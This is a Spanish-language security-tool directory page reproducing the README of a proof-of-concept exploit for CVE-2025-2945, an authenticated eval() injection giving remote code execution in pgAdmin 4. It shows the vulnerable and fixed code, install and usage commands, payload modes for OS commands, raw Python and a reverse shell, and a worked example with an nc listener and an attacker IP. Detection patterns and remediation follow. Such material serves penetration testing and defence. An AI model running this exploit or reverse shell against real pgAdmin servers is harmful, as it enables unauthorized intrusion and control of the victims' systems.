Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/khashayarnzk/cve-2025-2945-pgadmin-rce
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónHerramienta de Acceso Remoto
GitHubkhashayarnzk/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgAdmin-RCE

PoC para CVE-2025-2945 — inyección RCE en eval() autenticada en pgAdmin 4, CVSS 9.9

Ver Repositorio
hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-2945 — Ejecución Remota de Código en la Herramienta de Consultas de pgAdmin 4

CVSS 3.1: 9.9 (Crítico) · Afecta: pgAdmin 4 8.10 – 9.1 · Corregido en: 9.2 (4 de abril de 2025) CWE-95 (Neutralización Incorrecta de Directivas en Código Evaluado Dinámicamente / Inyección en Eval)

Una prueba de concepto de explotación para CVE-2025-2945, una vulnerabilidad de ejecución remota de código autenticada en la Herramienta de Consultas de pgAdmin 4. Un indicador booleano de estado de transacción (query_commited) se pasa directamente a eval() de Python en lugar de analizarse como booleano, lo que permite a un usuario autenticado ejecutar Python arbitrario — y, por extensión, comandos arbitrarios del sistema operativo — bajo los privilegios del proceso de servicio de pgAdmin. El mismo anti-patrón está presente una segunda vez en el módulo de Implementación en la Nube del proveedor de Google (high_availability).

Un informe técnico completo que cubre la causa raíz, la lógica de explotación, las pautas de detección y la remediación está disponible aquí: khashayarnazarkardeh.com — Notas de Campo


Resumen de la Vulnerabilidad

Código vulnerable (web/pgadmin/tools/sqleditor/__init__.py):

root@kitploit:~
if key == 'query_commited':
    query_commited = (
        eval(value) if isinstance(value, str) else value
    )

Código corregido (pgAdmin 9.2+):

root@kitploit:~
query_commited = (
    value.lower() in ('true', '1') if isinstance(value, str) else value
)

La vulnerabilidad requiere una sesión autenticada de pgAdmin y una transacción de la Herramienta de Consultas vinculada a un servidor de base de datos ya registrado en la cuenta objetivo. Ambos son requisitos previos comunes en implementaciones reales, donde pgAdmin suele estar preconfigurado con una o más conexiones de servidor guardadas.

Requisitos

  • Python 3.8+
  • Una cuenta web válida de pgAdmin (--username / --password)
  • Credenciales para un servidor de base de datos ya registrado en esa cuenta de pgAdmin (--db-user / --db-password / --db-name)
  • Objetivo que ejecute pgAdmin 4 entre 8.10 y 9.1 (inclusive)

Instalación

root@kitploit:~
git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt

Uso

root@kitploit:~
python3 CVE-2025-2945.py \
    --host <objetivo> --port 80 \
    --username <correo-pgadmin> --password <contraseña-pgadmin> \
    --db-user <usuario-bd> --db-password <contraseña-bd> --db-name <nombre-bd> \
    --cmd id

Modos de payload (elija uno)

IndicadorDescripción
--cmd COMANDOEjecuta un único comando del sistema operativo mediante os.system()
--reverse-shell HOST:PUERTOGenera una shell inversa mediante tubería con nombre hacia un listener que usted controle
--raw-payload EXPRPasa una expresión Python cruda directamente al sumidero vulnerable eval()

Ejemplo — shell inversa

root@kitploit:~
# En su host de ataque, en una terminal separada:
nc -lvnp 4444

# Ejecute el exploit:
python3 CVE-2025-2945.py \
    --host pgadmin.internal.example.com --port 80 \
    --username [email protected] --password 'correct-horse-battery-staple' \
    --db-user postgres --db-password postgres --db-name postgres \
    --reverse-shell 10.10.14.5:4444

Opciones completas

root@kitploit:~
python3 CVE-2025-2945.py --help

Detección

Los defensores deben monitorear:

  • Solicitudes POST a /sqleditor/query_tool/download/<trans_id> o /cloud/deploy donde query_commited / high_availability sea cualquier cosa distinta de un "true", "false", "1" o "0" literal.
  • Primitivas de ejecución de Python (__import__, os.system, subprocess, eval, exec, open() que aparezcan en cualquiera de los parámetros.
  • Procesos hijos inesperados generados por la cuenta de servicio de pgAdmin, particularmente intérpretes de shell o utilidades de red.

Remediación

Actualice a pgAdmin 4 9.2 o posterior. El parche es una corrección mínima de coerción booleana de bajo riesgo. Cuando no sea posible aplicar el parche de inmediato, restrinja el acceso de red a pgAdmin a redes autenticadas de confianza y deshabilite el módulo de Implementación en la Nube para cuentas que no lo requieran.

Referencias

  • NVD — CVE-2025-2945
  • Aviso de Seguridad de GitHub — GHSA-g73c-fw68-pwx3
  • Problema de pgAdmin #8603
  • Commit de corrección — 75be0bc

Autor

Khashayar Nazarkardeh — Líder de Ciberseguridad y Seguridad de IA khashayarnazarkardeh.com · @Khashayarnzk

Aviso Legal

Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas, investigación y fines educativos. Ejecutarla contra cualquier sistema sin autorización explícita y documentada del propietario del sistema es ilegal en la mayoría de las jurisdicciones. El autor no asume ninguna responsabilidad por el uso indebido de este software. Al usar este script, usted acepta que es el único responsable de asegurarse de tener permiso para probar el objetivo.

Descargar herramienta